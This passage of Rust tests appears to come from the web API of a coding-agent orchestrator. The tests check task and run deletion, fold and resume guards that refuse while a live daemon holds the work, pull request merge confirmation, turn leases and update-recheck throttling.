14721        let mut mid = mk("mid");
14722        mid.block(vec![root.id.clone()], None);
14723        q.put(&mut mid).unwrap();
14724        let mut leaf = mk("leaf");
14725        leaf.block(vec![mid.id.clone()], None);
14726        q.put(&mut leaf).unwrap();
14727
14728        let list = fx.get("/api/queue").await.json();
14729        let find = |id: &str| {
14730            list.as_array()
14731                .unwrap()
14732                .iter()
14733                .find(|v| v["id"] == id)
14734                .unwrap()
14735                .clone()
14736        };
14737        let leaf_view = find(&leaf.id);
14738        assert_eq!(
14739            leaf_view["waits_on"],
14740            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14741        );
14742        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14743        assert_eq!(
14744            find(&mid.id)["waits_on"],
14745            serde_json::json!([format!("{} (held)", root.short())])
14746        );
14747        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14748    }
14749
14750    #[tokio::test]
14751    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14752        let fx = Fixture::start().await;
14753        let q = fx.queue();
14754
14755        // 1. A queued task with runs attached can be deleted.
14756        let mut t1 = Task::new(
14757            "Task 1".to_owned(),
14758            "Instruction 1".to_owned(),
14759            PathBuf::from("/repo"),
14760            Source::Human,
14761        );
14762        let run_id = "20260901-000000-r111";
14763        t1.runs.push(run_id.to_owned());
14764        write_run(&fx.runs(), run_id, RunStatus::Merged);
14765        q.put(&mut t1).expect("put t1");
14766
14767        // Delete by short id
14768        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14769        assert_eq!(res.status, 204);
14770        assert!(res.body.is_empty(), "204 No Content has no body");
14771        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14772        assert!(
14773            fx.runs().join(run_id).exists(),
14774            "run directory must not be deleted when its task is deleted"
14775        );
14776
14777        // 2. A task a live daemon is running is refused with 409.
14778        let mut t2 = Task::new(
14779            "Task 2".to_owned(),
14780            "Instruction 2".to_owned(),
14781            PathBuf::from("/repo"),
14782            Source::Human,
14783        );
14784        t2.status = TaskStatus::Running;
14785        q.put(&mut t2).expect("put t2");
14786        let mut beat = crate::daemon::Status::new();
14787        beat.current = vec![crate::daemon::Current {
14788            task: t2.id.clone(),
14789            run: "20260901-000000-r222".to_owned(),
14790        }];
14791        beat.updated_at = jiff::Timestamp::now();
14792        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14793            .expect("publish a heartbeat");
14794        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14795        assert_eq!(res.status, 409);
14796        assert!(
14797            res.json()["error"]
14798                .as_str()
14799                .unwrap()
14800                .contains("live daemon")
14801        );
14802        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14803
14804        // 3. The same `running` status and an orphaned lock, with no daemon
14805        // behind either, is a leftover and deletable. Before this the phone
14806        // refused it for good: the status never changes on its own and
14807        // nothing drops a lock whose process is gone.
14808        // The daemon is killed: the file stays, the heartbeat stops.
14809        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14810        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14811            .expect("leave a stale heartbeat");
14812        let mut t3 = Task::new(
14813            "Task 3".to_owned(),
14814            "Instruction 3".to_owned(),
14815            PathBuf::from("/repo"),
14816            Source::Human,
14817        );
14818        t3.status = TaskStatus::Running;
14819        q.put(&mut t3).expect("put t3");
14820        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14821        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14822        assert_eq!(res.status, 204);
14823        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14824        assert!(
14825            q.claim(&t3.id).is_ok(),
14826            "the stale lock went with it, so the id is claimable again"
14827        );
14828
14829        // 4. Missing id returns 404
14830        let res = fx.delete("/api/queue/nonexistent").await;
14831        assert_eq!(res.status, 404);
14832    }
14833
14834    #[tokio::test]
14835    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14836        let fx = Fixture::start().await;
14837        let runs = fx.runs();
14838
14839        // 1. Finished and folded run can be deleted along with artifacts
14840        let run_id = "20260901-000000-fold";
14841        let mut state = RunState::new(
14842            PathBuf::from("/repo"),
14843            "main".to_owned(),
14844            "abc".to_owned(),
14845            "instruction".to_owned(),
14846            Config::default(),
14847        );
14848        state.id = run_id.to_owned();
14849        state.status = RunStatus::Merged;
14850        state.candidates.push(crate::run::Candidate {
14851            index: 0,
14852            label: 'A',
14853            agent: "a".to_owned(),
14854            branch: "b".to_owned(),
14855            worktree: PathBuf::from("/w"),
14856            summary: String::new(),
14857            stat: String::new(),
14858            files: 1,
14859            commits: 1,
14860            empty: false,
14861            failed: None,
14862            verified_noop: None,
14863            duration_ms: 0,
14864            folded: true,
14865        });
14866        let dir = runs.join(run_id);
14867        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14868        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14869            .expect("write artifact");
14870        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14871            .expect("write run.json");
14872
14873        // Delete by short id
14874        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14875        assert_eq!(res.status, 204);
14876        assert!(res.body.is_empty(), "204 has no body");
14877        assert!(!dir.exists(), "run directory and artifacts must be deleted");
14878
14879        // 2. A run a live daemon is working on is refused with 409. The
14880        // heartbeat is what makes it refusable: an unfinished run with no
14881        // daemon behind it is a leftover from a killed process, and case 1
14882        // above would otherwise be impossible to tell apart from this one.
14883        let run_running = "20260901-000000-rung";
14884        write_run(&runs, run_running, RunStatus::Prep);
14885        let mut beat = crate::daemon::Status::new();
14886        beat.current = vec![crate::daemon::Current {
14887            task: "20260901-000000-task".to_owned(),
14888            run: run_running.to_owned(),
14889        }];
14890        beat.updated_at = jiff::Timestamp::now();
14891        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14892            .expect("publish a heartbeat");
14893        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14894        assert_eq!(res.status, 409);
14895        assert!(
14896            res.json()["error"]
14897                .as_str()
14898                .unwrap()
14899                .contains("live daemon"),
14900            "the refusal must say who is holding it"
14901        );
14902        assert!(
14903            runs.join(run_running).exists(),
14904            "a run in flight keeps its directory"
14905        );
14906
14907        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
14908        let run_unfolded = "20260901-000000-unfd";
14909        let mut state2 = RunState::new(
14910            PathBuf::from("/repo"),
14911            "main".to_owned(),
14912            "abc".to_owned(),
14913            "instruction".to_owned(),
14914            Config::default(),
14915        );
14916        state2.id = run_unfolded.to_owned();
14917        state2.status = RunStatus::Ready;
14918        state2.candidates.push(crate::run::Candidate {
14919            index: 0,
14920            label: 'A',
14921            agent: "a".to_owned(),
14922            branch: "b".to_owned(),
14923            worktree: PathBuf::from("/w"),
14924            summary: String::new(),
14925            stat: String::new(),
14926            files: 1,
14927            commits: 1,
14928            empty: false,
14929            failed: None,
14930            verified_noop: None,
14931            duration_ms: 0,
14932            folded: false,
14933        });
14934        let dir2 = runs.join(run_unfolded);
14935        std::fs::create_dir_all(&dir2).expect("create dir2");
14936        std::fs::write(
14937            dir2.join("run.json"),
14938            serde_json::to_string(&state2).unwrap(),
14939        )
14940        .expect("write run.json");
14941
14942        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14943        assert_eq!(res.status, 409);
14944        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14945        assert!(dir2.exists(), "unfolded run directory is kept");
14946
14947        // 4. Missing id returns 404
14948        let res = fx.delete("/api/runs/nonexistent").await;
14949        assert_eq!(res.status, 404);
14950    }
14951
14952    /// The queue tiles on the Stats tab must render even on a home with no
14953    /// runs at all: queue state is not derived from run history, so hiding
14954    /// the whole dashboard body behind "no runs yet" would drop the one
14955    /// thing this tab promises unconditionally (queued/running/held/done).
14956    /// A DOM-level test would need a browser this suite does not have, so
14957    /// this pins the same invariant textually: `renderStatsQueue` is called
14958    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
14959    /// block that gates the run-derived panels.
14960    #[test]
14961    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14962        let start = APP_JS
14963            .find("function renderStats() {")
14964            .expect("renderStats");
14965        let end = start
14966            + APP_JS[start..]
14967                .find("function statsTile(")
14968                .expect("the next top-level function");
14969        let body = &APP_JS[start..end];
14970
14971        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14972        let gate_end = gate_start
14973            + body[gate_start..]
14974                .find("}\n  renderStatsQueue")
14975                .expect("the gate's own closing brace, right before the unconditional call");
14976        let gated = &body[gate_start..gate_end];
14977
14978        assert_eq!(
14979            body.matches("renderStatsQueue(").count(),
14980            1,
14981            "renderStats must call renderStatsQueue exactly once: {body}"
14982        );
14983        assert!(
14984            !gated.contains("renderStatsQueue"),
14985            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14986             run-derived panels on an empty run history - the queue panel has to render \
14987             regardless: {gated}"
14988        );
14989    }
14990
14991    #[test]
14992    fn web_ui_delete_contract_in_front_end() {
14993        // 1. API block has both delete endpoints
14994        assert!(APP_JS.contains("deleteRun:"));
14995        assert!(APP_JS.contains("deleteTask:"));
14996
14997        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
14998        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14999            ..APP_JS.find("function renderRuns").unwrap()];
15000        assert!(!run_cards_slice.to_lowercase().contains("delete"));
15001
15002        // 3. Run detail has delete entry and reasons
15003        assert!(APP_JS.contains("renderRunDelete"));
15004        assert!(APP_JS.contains("runDeleteReason"));
15005        assert!(APP_JS.contains("magi fold"));
15006        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
15007
15008        // 4. Two-step delete arming and focus on Cancel
15009        assert!(APP_JS.contains("cancel.focus"));
15010        assert!(APP_JS.contains("armedRunDelete"));
15011        assert!(APP_JS.contains("renderTaskDeleteBox"));
15012        assert!(APP_JS.contains("armed${cap(key)}"));
15013
15014        // 5. Running task has disabled delete
15015        assert!(APP_JS.contains("disabled: status === \"running\""));
15016    }
15017
15018    /// Every element a run card's updater reaches for must be in the `refs`
15019    /// the builder handed it.
15020    ///
15021    /// `createRunCard` builds its elements, appends them to the card, and then
15022    /// lists them again in `row.refs`. That second list is the one the updater
15023    /// uses, and nothing connects the two - an element can be built, appended
15024    /// and rendered, and still be missing from `refs`. `superseded` was, for
15025    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
15026    /// exception took `syncList` with it, and the deck showed
15027    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
15028    /// line is computed before the cards, which is why the failure looked like
15029    /// a server that had lost its runs rather than a front end that had
15030    /// stopped rendering them.
15031    ///
15032    /// A `cargo test` cannot execute the front end, so this reads the two
15033    /// halves out of the source and compares them as sets. It is not a check
15034    /// on the wording of either list: adding an element, renaming one, or
15035    /// reordering them all keeps this passing, and only using one the builder
15036    /// never published fails it.
15037    #[test]
15038    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
15039        let build = APP_JS
15040            .find("function createRunCard")
15041            .expect("createRunCard exists");
15042        let update = APP_JS
15043            .find("function updateRunCard")
15044            .expect("updateRunCard exists");
15045        let end = APP_JS
15046            .find("function renderRuns")
15047            .expect("renderRuns exists");
15048
15049        // The builder's published set: the object literal assigned to `refs`.
15050        let builder = &APP_JS[build..update];
15051        let open = builder.find("refs = {").expect("createRunCard sets refs");
15052        let literal = &builder[open + "refs = {".len()..];
15053        let close = literal.find('}').expect("the refs literal is closed");
15054        let published: HashSet<&str> = literal[..close]
15055            .split(',')
15056            // `name` and `name: value` both bind `name`.
15057            .filter_map(|entry| entry.split(':').next())
15058            .map(str::trim)
15059            .filter(|name| !name.is_empty())
15060            .collect();
15061        assert!(
15062            published.len() > 5,
15063            "the refs literal did not parse into names: {published:?}"
15064        );
15065
15066        // What the updaters reach for: every `r.<name>`, where `r` is the
15067        // `const r = row.refs` alias both functions open with.
15068        let mut used: Vec<&str> = Vec::new();
15069        let updaters = &APP_JS[update..end];
15070        for (at, _) in updaters.match_indices("r.") {
15071            // `r` must be the whole identifier, not the tail of another one
15072            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
15073            let before = updaters[..at].chars().next_back();
15074            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
15075                continue;
15076            }
15077            let rest = &updaters[at + 2..];
15078            let len = rest
15079                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
15080                .unwrap_or(rest.len());
15081            if len > 0 {
15082                used.push(&rest[..len]);
15083            }
15084        }
15085        assert!(
15086            used.len() > 5,
15087            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
15088        );
15089
15090        let missing: Vec<&str> = used
15091            .iter()
15092            .copied()
15093            .filter(|name| !published.contains(name))
15094            .collect();
15095        assert!(
15096            missing.is_empty(),
15097            "a run card's updater reaches for {missing:?}, which `createRunCard` \
15098             never put in `refs` - every card will throw and the list will \
15099             render empty under a count line that says otherwise. Published: \
15100             {published:?}"
15101        );
15102    }
15103
15104    #[tokio::test]
15105    async fn folding_from_the_phone_reports_what_it_removed() {
15106        let fx = Fixture::start().await;
15107        let runs = fx.runs();
15108
15109        // A run with no candidates has nothing to fold, which is a 200 with an
15110        // honest count rather than an error: the operator asked for the trees
15111        // to be gone and they are.
15112        let id = "20260901-000000-fold";
15113        write_run(&runs, id, RunStatus::Stalled);
15114        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15115        assert_eq!(res.status, 200);
15116        assert_eq!(res.json()["removed_count"], 0);
15117        assert_eq!(res.json()["run"], id);
15118        assert!(
15119            runs.join(id).exists(),
15120            "a fold keeps the run's record; only the worktrees go"
15121        );
15122    }
15123
15124    #[tokio::test]
15125    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
15126        let fx = Fixture::start().await;
15127        let runs = fx.runs();
15128        let wt = fx.home.path().join("wt").join("magi").join("dead");
15129        let id = "20260901-000000-dead";
15130        std::fs::create_dir_all(runs.join(id)).expect("run dir");
15131        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15132        std::fs::create_dir_all(&wt).expect("worktree dir");
15133
15134        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15135        assert_eq!(res.status, 200, "{}", res.body);
15136        assert!(
15137            res.json()["removed_count"].as_u64().unwrap() > 0,
15138            "the worktree this build could not read a state for still went"
15139        );
15140        assert!(
15141            !runs.join(id).exists(),
15142            "an unreadable run has no candidate list to fold selectively, so \
15143             the whole record goes - same as `magi fold` on the CLI"
15144        );
15145    }
15146
15147    #[tokio::test]
15148    async fn deleting_an_unreadable_run_removes_it_wholesale() {
15149        let fx = Fixture::start().await;
15150        let runs = fx.runs();
15151        let wt = fx.home.path().join("wt").join("magi").join("gone");
15152        let id = "20260901-000000-gone";
15153        std::fs::create_dir_all(runs.join(id)).expect("run dir");
15154        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15155        std::fs::create_dir_all(&wt).expect("worktree dir");
15156
15157        let res = fx.delete(&format!("/api/runs/{id}")).await;
15158        assert_eq!(res.status, 204, "{}", res.body);
15159        assert!(!runs.join(id).exists(), "the broken record is gone");
15160        assert!(!wt.exists(), "its worktree is gone too");
15161    }
15162
15163    #[tokio::test]
15164    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
15165        let fx = Fixture::start().await;
15166        let runs = fx.runs();
15167        let id = "20260901-000000-live";
15168        write_run(&runs, id, RunStatus::Implementing);
15169
15170        let mut beat = crate::daemon::Status::new();
15171        beat.current = vec![crate::daemon::Current {
15172            task: "20260901-000000-task".to_owned(),
15173            run: id.to_owned(),
15174        }];
15175        beat.updated_at = jiff::Timestamp::now();
15176        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15177            .expect("publish a heartbeat");
15178
15179        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15180        assert_eq!(res.status, 409);
15181        assert!(
15182            res.json()["error"]
15183                .as_str()
15184                .unwrap()
15185                .contains("live daemon"),
15186            "folding under a running agent would pull its worktree away"
15187        );
15188    }
15189
15190    #[tokio::test]
15191    async fn fold_merged_requires_a_pr_url() {
15192        let fx = Fixture::start().await;
15193        let runs = fx.runs();
15194        let id = "20260901-000000-nourl";
15195        write_run(&runs, id, RunStatus::Blocked);
15196
15197        let res = fx
15198            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
15199            .await;
15200        assert_eq!(res.status, 400, "{}", res.body);
15201
15202        let blank = fx
15203            .post(
15204                &format!("/api/runs/{id}/fold-merged"),
15205                Some(r#"{"pr_url":"   "}"#),
15206            )
15207            .await;
15208        assert_eq!(blank.status, 400, "{}", blank.body);
15209    }
15210
15211    #[tokio::test]
15212    async fn fold_merged_is_404_for_an_unknown_run() {
15213        let fx = Fixture::start().await;
15214        let res = fx
15215            .post(
15216                "/api/runs/nosuchrun/fold-merged",
15217                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15218            )
15219            .await;
15220        assert_eq!(res.status, 404, "{}", res.body);
15221    }
15222
15223    #[tokio::test]
15224    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
15225        let fx = Fixture::start().await;
15226        let runs = fx.runs();
15227        let id = "20260901-000000-livemerge";
15228        write_run(&runs, id, RunStatus::Blocked);
15229
15230        let mut beat = crate::daemon::Status::new();
15231        beat.current = vec![crate::daemon::Current {
15232            task: "20260901-000000-task".to_owned(),
15233            run: id.to_owned(),
15234        }];
15235        beat.updated_at = jiff::Timestamp::now();
15236        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15237            .expect("publish a heartbeat");
15238
15239        let res = fx
15240            .post(
15241                &format!("/api/runs/{id}/fold-merged"),
15242                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15243            )
15244            .await;
15245        assert_eq!(res.status, 409, "{}", res.body);
15246        assert!(
15247            res.json()["error"]
15248                .as_str()
15249                .unwrap()
15250                .contains("live daemon"),
15251            "correcting a run's merge underneath a running agent would race \
15252             whatever it is doing to the same `status`/`merge` fields"
15253        );
15254    }
15255
15256    /// A pull request `gh` cannot even ask about (no such remote, no such
15257    /// repository) must never be recorded as a merge on a guess - the same
15258    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
15259    /// command line, reached here through the phone route instead.
15260    #[tokio::test]
15261    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
15262        let fx = Fixture::start().await;
15263        let runs = fx.runs();
15264        let id = "20260901-000000-unconfirmed";
15265        write_run(&runs, id, RunStatus::Blocked);
15266
15267        let res = fx
15268            .post(
15269                &format!("/api/runs/{id}/fold-merged"),
15270                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15271            )
15272            .await;
15273        assert_eq!(res.status, 400, "{}", res.body);
15274        assert_eq!(
15275            read_run(&runs, id).unwrap().status,
15276            RunStatus::Blocked,
15277            "a pull request that could not be confirmed merged must leave \
15278             the run exactly where it was"
15279        );
15280    }
15281
15282    #[tokio::test]
15283    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
15284        let fx = Fixture::start().await;
15285        let runs = fx.runs();
15286
15287        // Only a finished run and a failed one. An *interrupted* run - a
15288        // parked one, or one whose daemon was killed mid-node - is the case
15289        // resuming exists for: run 4043 sat at `reviewing` with the deck
15290        // saying it could not be resumed, which was the one state where
15291        // resuming was the only sensible answer.
15292        for (status, word) in [
15293            (RunStatus::Merged, "merged"),
15294            (RunStatus::Ready, "ready"),
15295            (RunStatus::Failed, "failed"),
15296        ] {
15297            let id = format!("20260901-000000-{}", &word[..4]);
15298            write_run(&runs, &id, status);
15299            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
15300            assert_eq!(res.status, 409, "{word} must not be resumable");
15301            let err = res.json()["error"].as_str().unwrap().to_owned();
15302            assert!(err.contains(word), "the refusal names the status: {err}");
15303        }
15304
15305        // And an interrupted run is accepted: 202, with the resume running in
15306        // the background. `Runner::resume` fails immediately here - the
15307        // fixture's run points at a repository that does not exist - which is
15308        // the point: the handler must not wait for it to find out.
15309        let mid = "20260901-000000-midf";
15310        write_run(&runs, mid, RunStatus::Reviewing);
15311        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
15312        assert_eq!(res.status, 202, "an interrupted run is resumable");
15313    }
15314
15315    #[tokio::test]
15316    async fn resume_is_refused_while_the_loop_is_running() {
15317        let fx = Fixture::start().await;
15318        let runs = fx.runs();
15319        let stalled = "20260901-000000-stal";
15320        write_run(&runs, stalled, RunStatus::Stalled);
15321
15322        // The loop is busy with a *different* run, and that is still a
15323        // refusal: a manual resume must never race whatever the loop itself
15324        // is already driving, whether that is one run or several.
15325        let mut beat = crate::daemon::Status::new();
15326        beat.current = vec![crate::daemon::Current {
15327            task: "20260901-000000-task".to_owned(),
15328            run: "20260901-000000-othr".to_owned(),
15329        }];
15330        beat.updated_at = jiff::Timestamp::now();
15331        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15332            .expect("publish a heartbeat");
15333
15334        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15335        assert_eq!(res.status, 409);
15336        let err = res.json()["error"].as_str().unwrap().to_owned();
15337        assert!(err.contains("othr"), "it names what the loop is on: {err}");
15338        assert!(err.contains("stop it first"), "{err}");
15339    }
15340
15341    #[test]
15342    fn a_run_cannot_be_resumed_twice_at_once() {
15343        let home = TempDir::new().expect("temp home");
15344        let ui = Ui::new(
15345            Queue::at(home.path().join("queue")),
15346            Questions::at(home.path().join("questions")),
15347            Talks::at(home.path().join("talks")),
15348            home.path().join("runs"),
15349            home.path().to_path_buf(),
15350            PathBuf::from("/repo"),
15351        )
15352        .with_worktrees_root(home.path().join("wt"));
15353        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15354        let again = ui.begin_resume("20260901-000000-once");
15355        assert!(again.is_err(), "a second tap must not start a second graph");
15356        drop(first);
15357        assert!(
15358            ui.begin_resume("20260901-000000-once").is_ok(),
15359            "and the claim is released when the attempt ends"
15360        );
15361    }
15362
15363    #[test]
15364    fn talk_thinking_tracks_only_its_held_turn_claim() {
15365        let home = TempDir::new().expect("temp home");
15366        let ui = Ui::new(
15367            Queue::at(home.path().join("queue")),
15368            Questions::at(home.path().join("questions")),
15369            Talks::at(home.path().join("talks")),
15370            home.path().join("runs"),
15371            home.path().to_path_buf(),
15372            PathBuf::from("/repo"),
15373        )
15374        .with_worktrees_root(home.path().join("wt"));
15375        let id = "20260901-000000-once";
15376
15377        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15378        let turn = ui.begin_talk_turn(id).expect("claim turn");
15379        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15380        assert!(
15381            !ui.is_thinking("20260901-000000-other"),
15382            "one talk's turn does not make another talk busy"
15383        );
15384        drop(turn);
15385        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15386    }
15387
15388    #[test]
15389    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15390        let home = TempDir::new().expect("temp home");
15391        let talks = Talks::at(home.path().join("talks"));
15392        let ui = Ui::new(
15393            Queue::at(home.path().join("queue")),
15394            Questions::at(home.path().join("questions")),
15395            talks.clone(),
15396            home.path().join("runs"),
15397            home.path().to_path_buf(),
15398            PathBuf::from("/repo"),
15399        )
15400        .with_worktrees_root(home.path().join("wt"));
15401        let id = "20260901-000000-cross";
15402
15403        let other = Talks::at(home.path().join("talks"))
15404            .claim_turn(id)
15405            .expect("claim")
15406            .expect("the other process wins");
15407        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15408        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15409        assert!(
15410            matches!(
15411                ui.begin_talk_turn_unless_pending(id).expect("start"),
15412                TalkTurnStart::Foreign
15413            ),
15414            "a foreign holder is refused, not queued behind"
15415        );
15416        assert!(
15417            !ui.talk_turns.lock().unwrap().live.contains(id),
15418            "a refused claim leaves no in-process entry behind"
15419        );
15420        drop(other);
15421        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15422        assert!(talks.turn_held(id), "the web turn holds the lease");
15423        drop(turn);
15424        assert!(
15425            !talks.turn_held(id),
15426            "dropping the guard releases the lease"
15427        );
15428    }
15429
15430    #[test]
15431    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15432        let home = TempDir::new().expect("temp home");
15433        let talks = Talks::at(home.path().join("talks"));
15434        let ui = Ui::new(
15435            Queue::at(home.path().join("queue")),
15436            Questions::at(home.path().join("questions")),
15437            talks.clone(),
15438            home.path().join("runs"),
15439            home.path().to_path_buf(),
15440            PathBuf::from("/repo"),
15441        )
15442        .with_worktrees_root(home.path().join("wt"));
15443        let id = "20260901-000000-order";
15444        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15445        // Hold the slot mutex so the drop can finish the lease but not the slot.
15446        let slots = ui.talk_turns.lock().unwrap();
15447        let dropper = std::thread::spawn(move || drop(turn));
15448        let start = std::time::Instant::now();
15449        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15450            std::thread::sleep(Duration::from_millis(5));
15451        }
15452        assert!(!talks.turn_held(id), "the lease is released first");
15453        assert!(slots.live.contains(id), "the slot is still held meanwhile");
15454        drop(slots);
15455        dropper.join().expect("join");
15456        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15457    }
15458
15459    #[tokio::test]
15460    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15461        let fx = Fixture::start().await;
15462        // Somebody else's `magi serve` owns the queue. Replacing this binary
15463        // would leave that process running an old one against the same
15464        // claims, which is worse than refusing.
15465        let mut beat = crate::daemon::Status::new();
15466        beat.pid = 4321;
15467        beat.updated_at = jiff::Timestamp::now();
15468        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15469            .expect("publish a heartbeat");
15470
15471        let res = fx.post("/api/upgrade", None).await;
15472        assert_eq!(res.status, 409);
15473        let err = res.json()["error"].as_str().unwrap().to_owned();
15474        assert!(err.contains("4321"), "the refusal names the owner: {err}");
15475        assert!(err.contains("old one against the same queue"), "{err}");
15476    }
15477
15478    /// [`should_spawn_recheck`] must refuse for the same two reasons
15479    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
15480    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
15481    /// Purely a predicate over config and the environment - no network, no
15482    /// disk, no runtime - so unlike the fixture-based tests around it this
15483    /// one needs neither.
15484    #[test]
15485    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15486        assert!(!should_spawn_recheck(&crate::config::Update {
15487            mode: UpdateMode::Off,
15488            interval: None,
15489        }));
15490
15491        // SAFETY: single-threaded as far as this variable goes, the same
15492        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15493        unsafe {
15494            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15495        }
15496        let killed = should_spawn_recheck(&crate::config::Update {
15497            mode: UpdateMode::Notify,
15498            interval: None,
15499        });
15500        unsafe {
15501            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15502        }
15503        assert!(
15504            !killed,
15505            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15506             one-time startup check"
15507        );
15508
15509        assert!(should_spawn_recheck(&crate::config::Update {
15510            mode: UpdateMode::Notify,
15511            interval: None,
15512        }));
15513    }
15514
15515    /// [`recheck_poll_period`] must track a configured `[update] interval`
15516    /// shorter than its own default ceiling - a fixed sleep here would leave
15517    /// an operator's short interval waiting on the next wake-up instead of on
15518    /// `should_check`, which is the same bug this whole task exists to fix,
15519    /// just one level down.
15520    #[test]
15521    fn recheck_poll_period_tracks_a_short_configured_interval() {
15522        let short = crate::config::Update {
15523            mode: UpdateMode::Notify,
15524            interval: Some("1m".to_owned()),
15525        };
15526        let period = recheck_poll_period(&short);
15527        assert!(
15528            period <= Duration::from_secs(30),
15529            "a one-minute interval must wake the task far sooner than the \
15530             default ceiling, or the deck would not notice within the \
15531             interval the operator configured: got {period:?}"
15532        );
15533
15534        let default = crate::config::Update {
15535            mode: UpdateMode::Notify,
15536            interval: None,
15537        };
15538        assert_eq!(
15539            recheck_poll_period(&default),
15540            UPDATE_RECHECK_POLL_MAX,
15541            "the default day-long interval should poll at the (capped) \
15542             ceiling rather than needlessly often"
15543        );
15544    }
15545
15546    /// [`update_recheck_due`] must not repeat a check made moments ago, the
15547    /// same throttle `updater::Checker::should_check` already gives the
15548    /// CLI's notify mode. Built over an explicit state file via
15549    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
15550    /// write the operator's real `last_update_check.json` - and therefore
15551    /// cannot flake on whatever that file happens to say on the machine
15552    /// running the test.
15553    #[test]
15554    fn recheck_skips_the_network_before_the_interval_elapses() {
15555        let dir = TempDir::new().expect("temp dir");
15556        let path = dir.path().join("state.json");
15557        let state = kaishin::UpdateCheckState {
15558            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15559            last_known_latest: None,
15560            last_known_url: None,
15561        };
15562        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15563
15564        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15565        assert!(
15566            !update_recheck_due(&checker, None),
15567            "a check made moments ago must not be repeated before the \
15568             configured interval elapses"
15569        );
15570    }
15571
15572    /// An upgrade this deck already started must not be raced by a recheck
15573    /// that discovers a newer release mid-install - regardless of what
15574    /// `should_check` says, which is why the state file here is missing
15575    /// entirely: read alone, that alone would answer "never checked, go
15576    /// ahead".
15577    #[test]
